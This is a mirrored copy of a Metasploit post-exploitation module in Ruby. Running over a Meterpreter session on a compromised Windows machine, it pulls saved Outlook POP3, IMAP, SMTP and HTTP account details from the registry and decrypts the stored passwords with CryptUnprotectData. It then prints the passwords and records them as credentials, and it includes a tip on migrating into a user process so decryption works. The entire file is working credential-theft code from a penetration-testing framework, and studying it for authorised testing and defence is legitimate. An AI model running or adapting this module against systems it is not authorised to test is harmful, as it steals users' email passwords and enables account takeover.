CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/outlook.rb
Views: 11704
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Registry
10
include Msf::Post::Windows::Priv
11
include Msf::Auxiliary::Report
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',
18
'Description' => %q{
19
This module extracts and decrypts saved Microsoft
20
Outlook (versions 2002-2010) passwords from the Windows
21
Registry for POP3/IMAP/SMTP/HTTP accounts.
22
In order for decryption to be successful, this module must be
23
executed under the same privileges as the user which originally
24
encrypted the password.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [ 'Justin Cacak' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365)
28
'Platform' => [ 'win' ],
29
'SessionTypes' => [ 'meterpreter' ],
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
stdapi_railgun_api
34
stdapi_sys_config_getuid
35
stdapi_sys_process_attach
36
stdapi_sys_process_get_processes
37
stdapi_sys_process_getpid
38
stdapi_sys_process_memory_allocate
39
stdapi_sys_process_memory_read
40
stdapi_sys_process_memory_write
41
]
42
}
43
}
44
)
45
)
46
end
47
48
def prepare_railgun
49
if !session.railgun.get_dll('crypt32')
50
session.railgun.add_dll('crypt32')
51
end
52
end
53
54
def decrypt_password(data)
55
pid = client.sys.process.getpid
56
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
57
58
mem = process.memory.allocate(128)
59
process.memory.write(mem, data)
60
61
if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
62
addr = [mem].pack('V')
63
len = [data.length].pack('V')
64
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
65
len, addr = ret['pDataOut'].unpack('V2')
66
else
67
addr = [mem].pack('Q')
68
len = [data.length].pack('Q')
69
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
70
len, addr = ret['pDataOut'].unpack('Q2')
71
end
72
73
return '' if len == 0
74
75
decrypted_pw = process.memory.read(addr, len)
76
return decrypted_pw
77
end
78
79
# Just a wrapper to avoid copy pasta and long lines
80
def get_valdata(key, name)
81
registry_getvaldata("#{@key_base}\\#{key}", name)
82
end
83
84
def get_registry(outlook_ver)
85
# Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.
86
outlook_exists = 0
87
saved_accounts = 0
88
89
# Check for registry key based on Outlook version pulled from registry
90
@key_base = "HKCU\\Software\\Microsoft\\Office\\#{outlook_ver}.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
91
next_account_id = get_valdata('', 'NextAccountID')
92
93
# Default to original registry key for module
94
if next_account_id.nil?
95
@key_base = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676'
96
next_account_id = get_valdata('', 'NextAccountID')
97
end
98
99
if !next_account_id.nil?
100
# Microsoft Outlook not found
101
102
print_status 'Microsoft Outlook found in Registry...'
103
outlook_exists = 1
104
registry_enumkeys(@key_base).each do |k|
105
display_name = get_valdata(k, 'Display Name')
106
107
if display_name.nil?
108
# Microsoft Outlook found, but no account data saved in this location
109
next
110
end
111
112
# Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.
113
saved_accounts = 1
114
got_user_pw = 0
115
116
displayname = get_valdata(k, 'Display Name')
117
email = get_valdata(k, 'Email')
118
pop3_server = get_valdata(k, 'POP3 Server')
119
smtp_server = get_valdata(k, 'SMTP Server')
120
http_server_url = get_valdata(k, 'HTTP Server URL')
121
imap_server = get_valdata(k, 'IMAP Server')
122
smtp_use_auth = get_valdata(k, 'SMTP Use Auth')
123
if !smtp_use_auth.nil?
124
smtp_user = get_valdata(k, 'SMTP User')
125
smtp_password = get_valdata(k, 'SMTP Password')
126
smtp_auth_method = get_valdata(k, 'SMTP Auth Method')
127
end
128
129
if !pop3_server.nil?
130
type = 'POP3'
131
elsif !http_server_url.nil?
132
type = 'HTTP'
133
elsif !imap_server.nil?
134
type = 'IMAP'
135
else
136
type = 'UNKNOWN'
137
end
138
139
# Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.
140
print_good('Account Found:')
141
print_status(" Type: #{type}")
142
print_status(" User Display Name: #{displayname}")
143
print_status(" User Email Address: #{email}")
144
145
if type == 'POP3'
146
pop3_pw = get_valdata(k, 'POP3 Password')
147
pop3_user = get_valdata(k, 'POP3 User')
148
pop3_use_spa = get_valdata(k, 'POP3 Use SPA')
149
smtp_port = get_valdata(k, 'SMTP Port')
150
151
print_status(" User Name: #{pop3_user}")
152
if pop3_pw.nil?
153
print_status(' User Password: <not stored>')
154
else
155
pop3_pw.slice!(0, 1)
156
pass = decrypt_password(pop3_pw)
157
print_status(" User Password: #{pass}")
158
# Prepare data for creds
159
got_user_pw = 1
160
host = pop3_server
161
user = pop3_user
162
end
163
164
if !pop3_use_spa.nil? # Account for SPA (NTLM auth)
165
print_status(' Secure Password Authentication (SPA): Enabled')
166
end
167
168
print_status(" Incoming Mail Server (POP3): #{pop3_server}")
169
170
pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')
171
if pop3_use_ssl.nil?
172
print_status(' POP3 Use SSL: No')
173
else
174
print_status(' POP3 Use SSL: Yes')
175
end
176
177
pop3_port = get_valdata(k, 'POP3 Port')
178
if pop3_port.nil?
179
print_status(' POP3 Port: 110')
180
portnum = 110
181
else
182
print_status(" POP3 Port: #{pop3_port}")
183
portnum = pop3_port
184
end
185
186
if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
187
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
188
else
189
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
190
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
191
if smtp_auth_method.nil?
192
smtp_user = pop3_user
193
smtp_decrypted_password = pass
194
else
195
smtp_password.slice!(0, 1)
196
smtp_decrypted_password = decrypt_password(smtp_password)
197
end
198
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
199
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
200
end
201
202
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
203
if smtp_use_ssl.nil?
204
print_status(' SMTP Use SSL: No')
205
else
206
print_status(' SMTP Use SSL: Yes')
207
end
208
209
if smtp_port.nil?
210
print_status(' SMTP Port: 25')
211
smtp_port = 25
212
else
213
print_status(" SMTP Port: #{smtp_port}")
214
end
215
216
elsif type == 'HTTP'
217
http_password = get_valdata(k, 'HTTP Password')
218
http_user = get_valdata(k, 'HTTP User')
219
http_use_spa = get_valdata(k, 'HTTP Use SPA')
220
221
print_status(" User Name: #{http_user}")
222
if http_password.nil?
223
print_status(' User Password: <not stored>')
224
else
225
http_password.slice!(0, 1)
226
pass = decrypt_password(http_password)
227
print_status(" User Password: #{pass}")
228
got_user_pw = 1
229
host = http_server_url
230
user = http_user
231
232
# Detect 80 or 443 for creds
233
http_server_url.downcase!
234
if http_server_url.include? "h\x00t\x00t\x00p\x00s"
235
portnum = 443
236
else
237
portnum = 80
238
end
239
end
240
241
if !http_use_spa.nil? # Account for SPA (NTLM auth)
242
print_status(' Secure Password Authentication (SPA): Enabled')
243
end
244
245
print_status(" HTTP Server URL: #{http_server_url}")
246
247
elsif type == 'IMAP'
248
imap_user = get_valdata(k, 'IMAP User')
249
imap_use_spa = get_valdata(k, 'IMAP Use SPA')
250
imap_password = get_valdata(k, 'IMAP Password')
251
smtp_port = get_valdata(k, 'SMTP Port')
252
253
print_status(" User Name: #{imap_user}")
254
if imap_password.nil?
255
print_status(' User Password: <not stored>')
256
else
257
imap_password.slice!(0, 1)
258
pass = decrypt_password(imap_password)
259
print_status(" User Password: #{pass}")
260
got_user_pw = 1
261
host = imap_server
262
user = imap_user
263
end
264
265
if !imap_use_spa.nil? # Account for SPA (NTLM auth)
266
print_status(' Secure Password Authentication (SPA): Enabled')
267
end
268
269
print_status(" Incoming Mail Server (IMAP): #{imap_server}")
270
271
imap_use_ssl = get_valdata(k, 'IMAP Use SSL')
272
if imap_use_ssl.nil?
273
print_status(' IMAP Use SSL: No')
274
else
275
print_status(' IMAP Use SSL: Yes')
276
end
277
278
imap_port = get_valdata(k, 'IMAP Port')
279
if imap_port.nil?
280
print_status(' IMAP Port: 143')
281
portnum = 143
282
else
283
print_status(" IMAP Port: #{imap_port}")
284
portnum = imap_port
285
end
286
287
if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
288
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
289
else
290
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
291
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
292
if smtp_auth_method.nil?
293
smtp_user = imap_user
294
smtp_decrypted_password = pass
295
else
296
smtp_password.slice!(0, 1)
297
smtp_decrypted_password = decrypt_password(smtp_password)
298
end
299
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
300
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
301
end
302
303
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
304
if smtp_use_ssl.nil?
305
print_status(' SMTP Use SSL: No')
306
else
307
print_status(' SMTP Use SSL: Yes')
308
end
309
310
if smtp_port.nil?
311
print_status(' SMTP Port: 25')
312
smtp_port = 25
313
else
314
print_status(" SMTP Port: #{smtp_port}")
315
end
316
317
end
318
319
if got_user_pw == 1
320
service_data = {
321
address: Rex::Socket.getaddress(host),
322
port: portnum,
323
protocol: 'tcp',
324
service_name: type,
325
workspace_id: myworkspace_id
326
}
327
328
credential_data = {
329
origin_type: :session,
330
session_id: session_db_id,
331
post_reference_name: refname,
332
username: user,
333
private_data: pass,
334
private_type: :password
335
}
336
337
credential_core = create_credential(credential_data.merge(service_data))
338
339
login_data = {
340
core: credential_core,
341
access_level: 'User',
342
status: Metasploit::Model::Login::Status::UNTRIED
343
}
344
345
create_credential_login(login_data.merge(service_data))
346
end
347
348
if !smtp_use_auth.nil?
349
service_data = {
350
address: Rex::Socket.getaddress(smtp_server),
351
port: smtp_port,
352
protocol: 'tcp',
353
service_name: 'smtp',
354
workspace_id: myworkspace_id
355
}
356
357
credential_data = {
358
origin_type: :session,
359
session_id: session_db_id,
360
post_reference_name: refname,
361
username: smtp_user,
362
private_data: smtp_decrypted_password,
363
private_type: :password
364
}
365
366
credential_core = create_credential(credential_data.merge(service_data))
367
368
login_data = {
369
core: credential_core,
370
access_level: 'User',
371
status: Metasploit::Model::Login::Status::UNTRIED
372
}
373
374
create_credential_login(login_data.merge(service_data))
375
end
376
377
print_status('')
378
end
379
end
380
381
if outlook_exists == 0
382
print_status('Microsoft Outlook not installed or Exchange accounts are being used.')
383
elsif saved_accounts == 0
384
print_status('Microsoft Outlook installed however no accounts stored in Registry.')
385
end
386
end
387
388
def outlook_version
389
val = registry_getvaldata('HKCR\\Outlook.Application\\CurVer', '')
390
if !val.nil?
391
idx = val.rindex('.')
392
val[idx + 1..]
393
end
394
end
395
396
def run
397
# Get Outlook version from registry
398
outlook_ver = outlook_version
399
fail_with(Failure::NotFound, 'Microsoft Outlook version not found in registry.') if outlook_ver.nil?
400
401
print_status("Microsoft Outlook Version: #{outlook_ver}")
402
uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.
403
# **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.
404
405
if is_system?
406
print_error("This module is running under #{uid}.")
407
print_error('Automatic decryption will not be possible.')
408
print_error('Migrate to a user process to achieve successful decryption (e.g. explorer.exe).')
409
else
410
print_status('Searching for Microsoft Outlook in Registry...')
411
prepare_railgun
412
get_registry(outlook_ver)
413
end
414
415
print_status('Complete')
416
end
417
end
418
419